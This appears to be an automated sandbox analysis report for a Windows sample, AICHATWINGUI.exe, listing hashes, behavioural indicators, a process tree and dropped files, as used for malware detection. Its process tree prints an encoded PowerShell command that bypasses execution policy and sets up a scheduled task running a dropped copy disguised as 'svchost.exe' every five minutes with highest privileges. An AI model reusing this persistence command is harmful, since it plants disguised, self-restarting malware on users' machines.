Analysis
- user interaction
yes - max time kernel
899s - max time network
901s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows - submitted
31/08/2026, 14:26
Static task
static1
1 signatures
General
- Target AICHATWINGUI.exe
- Size 428KB
- Sample260831-rr3ftstdqh
- SHA256 33a19a40d79dd943444a5f72ceb0f68605637dfbe4648d094f05e5bd4712d071
- MD5 7c1f7b2a17a398a8e76c2a4c71077b9f
- SHA1 3a268da9f74c4ddd1ce948cf6655f4cdc59fdbef
- SHA512 f2222aa5ae05725bdc386d11bbc487d805a138f986bcdb4e01d7909e5cc52b702d728ad3a5cbf48f1425ae3936c90d335250d02360f3a8f3f6b5a11277bac9d7
- SSDEEP 12288:bKd4T2lyjLjCI/81vuoqm9lsFajxQyoYeSYHpRBdww+caK1lcGOIkxBabOEX52BQ:mDEizw3wkp57+u
- TLSH T19F94291B36524E51C2495B73E19B950083A2BA82FAE3F70FF18413A61D473EEDA47793
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Executes dropped EXE 2 IoCs
pid Process 4052 svchost.exe 4680 svchost.exe -
pid Process 4508 powershell.exe - System Location Discovery: System Language Discovery 1 TTPs 6 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language AICHATWINGUI.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language AICHATWINGUI.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language AICHATWINGUI.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language svchost.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 4488 AICHATWINGUI.exe 4488 AICHATWINGUI.exe 4488 AICHATWINGUI.exe 4488 AICHATWINGUI.exe 4488 AICHATWINGUI.exe 4488 AICHATWINGUI.exe 4508 powershell.exe 4508 powershell.exe 4488 AICHATWINGUI.exe 4488 AICHATWINGUI.exe 4488 AICHATWINGUI.exe 4488 AICHATWINGUI.exe 4488 AICHATWINGUI.exe 4488 AICHATWINGUI.exe 4488 AICHATWINGUI.exe 4488 AICHATWINGUI.exe 4488 AICHATWINGUI.exe 4488 AICHATWINGUI.exe 4488 AICHATWINGUI.exe 4488 AICHATWINGUI.exe 4488 AICHATWINGUI.exe 4488 AICHATWINGUI.exe 4488 AICHATWINGUI.exe 4488 AICHATWINGUI.exe 4488 AICHATWINGUI.exe 4488 AICHATWINGUI.exe 4488 AICHATWINGUI.exe 4488 AICHATWINGUI.exe 4488 AICHATWINGUI.exe 4488 AICHATWINGUI.exe 4488 AICHATWINGUI.exe 4488 AICHATWINGUI.exe 4488 AICHATWINGUI.exe 4488 AICHATWINGUI.exe 4488 AICHATWINGUI.exe 4488 AICHATWINGUI.exe 4488 AICHATWINGUI.exe 4488 AICHATWINGUI.exe 4488 AICHATWINGUI.exe 4488 AICHATWINGUI.exe 4488 AICHATWINGUI.exe 4488 AICHATWINGUI.exe 4488 AICHATWINGUI.exe 4488 AICHATWINGUI.exe 4488 AICHATWINGUI.exe 4488 AICHATWINGUI.exe 4488 AICHATWINGUI.exe 4488 AICHATWINGUI.exe 4488 AICHATWINGUI.exe 4488 AICHATWINGUI.exe 4488 AICHATWINGUI.exe 4488 AICHATWINGUI.exe 4488 AICHATWINGUI.exe 4488 AICHATWINGUI.exe 4488 AICHATWINGUI.exe 4488 AICHATWINGUI.exe 4488 AICHATWINGUI.exe 4488 AICHATWINGUI.exe 4488 AICHATWINGUI.exe 4488 AICHATWINGUI.exe 4488 AICHATWINGUI.exe 4488 AICHATWINGUI.exe 4488 AICHATWINGUI.exe 4488 AICHATWINGUI.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 4488 AICHATWINGUI.exe Token: SeDebugPrivilege 4508 powershell.exe Token: SeIncreaseQuotaPrivilege 4508 powershell.exe Token: SeSecurityPrivilege 4508 powershell.exe Token: SeTakeOwnershipPrivilege 4508 powershell.exe Token: SeLoadDriverPrivilege 4508 powershell.exe Token: SeSystemProfilePrivilege 4508 powershell.exe Token: SeSystemtimePrivilege 4508 powershell.exe Token: SeProfSingleProcessPrivilege 4508 powershell.exe Token: SeIncBasePriorityPrivilege 4508 powershell.exe Token: SeCreatePagefilePrivilege 4508 powershell.exe Token: SeBackupPrivilege 4508 powershell.exe Token: SeRestorePrivilege 4508 powershell.exe Token: SeShutdownPrivilege 4508 powershell.exe Token: SeDebugPrivilege 4508 powershell.exe Token: SeSystemEnvironmentPrivilege 4508 powershell.exe Token: SeRemoteShutdownPrivilege 4508 powershell.exe Token: SeUndockPrivilege 4508 powershell.exe Token: SeManageVolumePrivilege 4508 powershell.exe Token: 33 4508 powershell.exe Token: 34 4508 powershell.exe Token: 35 4508 powershell.exe Token: 36 4508 powershell.exe Token: SeIncreaseQuotaPrivilege 4508 powershell.exe Token: SeSecurityPrivilege 4508 powershell.exe Token: SeTakeOwnershipPrivilege 4508 powershell.exe Token: SeLoadDriverPrivilege 4508 powershell.exe Token: SeSystemProfilePrivilege 4508 powershell.exe Token: SeSystemtimePrivilege 4508 powershell.exe Token: SeProfSingleProcessPrivilege 4508 powershell.exe Token: SeIncBasePriorityPrivilege 4508 powershell.exe Token: SeCreatePagefilePrivilege 4508 powershell.exe Token: SeBackupPrivilege 4508 powershell.exe Token: SeRestorePrivilege 4508 powershell.exe Token: SeShutdownPrivilege 4508 powershell.exe Token: SeDebugPrivilege 4508 powershell.exe Token: SeSystemEnvironmentPrivilege 4508 powershell.exe Token: SeRemoteShutdownPrivilege 4508 powershell.exe Token: SeUndockPrivilege 4508 powershell.exe Token: SeManageVolumePrivilege 4508 powershell.exe Token: 33 4508 powershell.exe Token: 34 4508 powershell.exe Token: 35 4508 powershell.exe Token: 36 4508 powershell.exe Token: SeIncreaseQuotaPrivilege 4508 powershell.exe Token: SeSecurityPrivilege 4508 powershell.exe Token: SeTakeOwnershipPrivilege 4508 powershell.exe Token: SeLoadDriverPrivilege 4508 powershell.exe Token: SeSystemProfilePrivilege 4508 powershell.exe Token: SeSystemtimePrivilege 4508 powershell.exe Token: SeProfSingleProcessPrivilege 4508 powershell.exe Token: SeIncBasePriorityPrivilege 4508 powershell.exe Token: SeCreatePagefilePrivilege 4508 powershell.exe Token: SeBackupPrivilege 4508 powershell.exe Token: SeRestorePrivilege 4508 powershell.exe Token: SeShutdownPrivilege 4508 powershell.exe Token: SeDebugPrivilege 4508 powershell.exe Token: SeSystemEnvironmentPrivilege 4508 powershell.exe Token: SeRemoteShutdownPrivilege 4508 powershell.exe Token: SeUndockPrivilege 4508 powershell.exe Token: SeManageVolumePrivilege 4508 powershell.exe Token: 33 4508 powershell.exe Token: 34 4508 powershell.exe Token: 35 4508 powershell.exe - Suspicious use of WriteProcessMemory 1 IoCs
description pid Process procid_target PID 4488 wrote to memory of 4508 4488 AICHATWINGUI.exe 84
Processes
-
C:\Users\Admin\AppData\Local\Temp\AICHATWINGUI.exe"C:\Users\Admin\AppData\Local\Temp\AICHATWINGUI.exe"1⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4488 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -NoProfile -ExecutionPolicy Bypass -Enc UgBlAGcAaQBzAHQAZQByAC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawAgAC0AVABhAHMAawBOAGEAbQBlACAAJwBzAHYAYwBoAG8AcwB0AC4AZQB4AGUAJwAgAC0AQQBjAHQAaQBvAG4AIAAoAE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBBAGMAdABpAG8AbgAgAC0ARQB4AGUAYwB1AHQAZQAgACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAFIAbwBhAG0AaQBuAGcAXABzAHYAYwBoAG8AcwB0AC4AZQB4AGUAJwApACAALQBUAHIAaQBnAGcAZQByACAAKABOAGUAdwAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAVAByAGkAZwBnAGUAcgAgAC0ATwBuAGMAZQAgAC0AQQB0ACAAKABHAGUAdAAtAEQAYQB0AGUAKQAgAC0AUgBlAHAAZQB0AGkAdABpAG8AbgBJAG4AdABlAHIAdgBhAGwAIAAoAE4AZQB3AC0AVABpAG0AZQBTAHAAYQBuACAALQBNAGkAbgB1AHQAZQBzACAANQApACkAIAAtAFUAcwBlAHIAIAAkAGUAbgB2ADoAVQBzAGUAcgBOAGEAbQBlACAALQBSAHUAbgBMAGUAdgBlAGwAIABIAGkAZwBoAGUAcwB0ACAALQBTAGUAdAB0AGkAbgBnAHMAIAAoAE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBTAGUAdAB0AGkAbgBnAHMAUwBlAHQAIAAtAEUAeABlAGMAdQB0AGkAbwBuAFQAaQBtAGUATABpAG0AaQB0ACAAKABOAGUAdwAtAFQAaQBtAGUAUwBwAGEAbgAgAC0AUwBlAGMAbwBuAGQAcwAgADAAKQAgAC0AQQBsAGwAbwB3AFMAdABhAHIAdABJAGYATwBuAEIAYQB0AHQAZQByAGkAZQBzACAALQBEAG8AbgB0AFMAdABvAHAASQBmAEcAbwBpAG4AZwBPAG4AQgBhAHQAdABlAHIAaQBlAHMAKQAgAC0ARgBvAHIAYwBlAA==2⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4508
-
-
C:\Windows\System32\rundll32.exeC:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding1⤵PID:1216
-
C:\Users\Admin\AppData\Local\Temp\AICHATWINGUI.exe"C:\Users\Admin\AppData\Local\Temp\AICHATWINGUI.exe"1⤵
- System Location Discovery: System Language Discovery
PID:5736
-
C:\Users\Admin\AppData\Local\Temp\AICHATWINGUI.exe"C:\Users\Admin\AppData\Local\Temp\AICHATWINGUI.exe"1⤵
- System Location Discovery: System Language Discovery
PID:2804
-
C:\Users\Admin\AppData\Roaming\svchost.exeC:\Users\Admin\AppData\Roaming\svchost.exe1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:4052
-
C:\Users\Admin\AppData\Roaming\svchost.exeC:\Users\Admin\AppData\Roaming\svchost.exe1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:4680
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\AICHATWINGUI.exe.log
- Size 425B
- SHA256 34ba0ab8d1850e7825763f413142a333ccbc05fa2b5499a28a7d27b8a1c5b4bb
- MD5 4eaca4566b22b01cd3bc115b9b0b2196
- SHA1 e743e0792c19f71740416e7b3c061d9f1336bf94
- SHA512 bc2b1bf45203e3bb3009a7d37617b8f0f7ffa613680b32de2b963e39d2cf1650614d7035a0cf78f35a4f5cb17a2a439e2e07deaefd2a4275a62efd0a5c0184a1
- TLSH T112E0AB303321E0D489422F821C1C769503EF0359A110EE183848125FD4251172B312E3
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_lnrvgqyk.zf1.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Roaming\svchost.exe
- Size 428KB
- SHA256 33a19a40d79dd943444a5f72ceb0f68605637dfbe4648d094f05e5bd4712d071
- MD5 7c1f7b2a17a398a8e76c2a4c71077b9f
- SHA1 3a268da9f74c4ddd1ce948cf6655f4cdc59fdbef
- SHA512 f2222aa5ae05725bdc386d11bbc487d805a138f986bcdb4e01d7909e5cc52b702d728ad3a5cbf48f1425ae3936c90d335250d02360f3a8f3f6b5a11277bac9d7
- SSDEEP 12288:bKd4T2lyjLjCI/81vuoqm9lsFajxQyoYeSYHpRBdww+caK1lcGOIkxBabOEX52BQ:mDEizw3wkp57+u
- TLSH T19F94291B36524E51C2495B73E19B950083A2BA82FAE3F70FF18413A61D473EEDA47793
- MD5 SHA1 SHA512 SSDEEP TLSH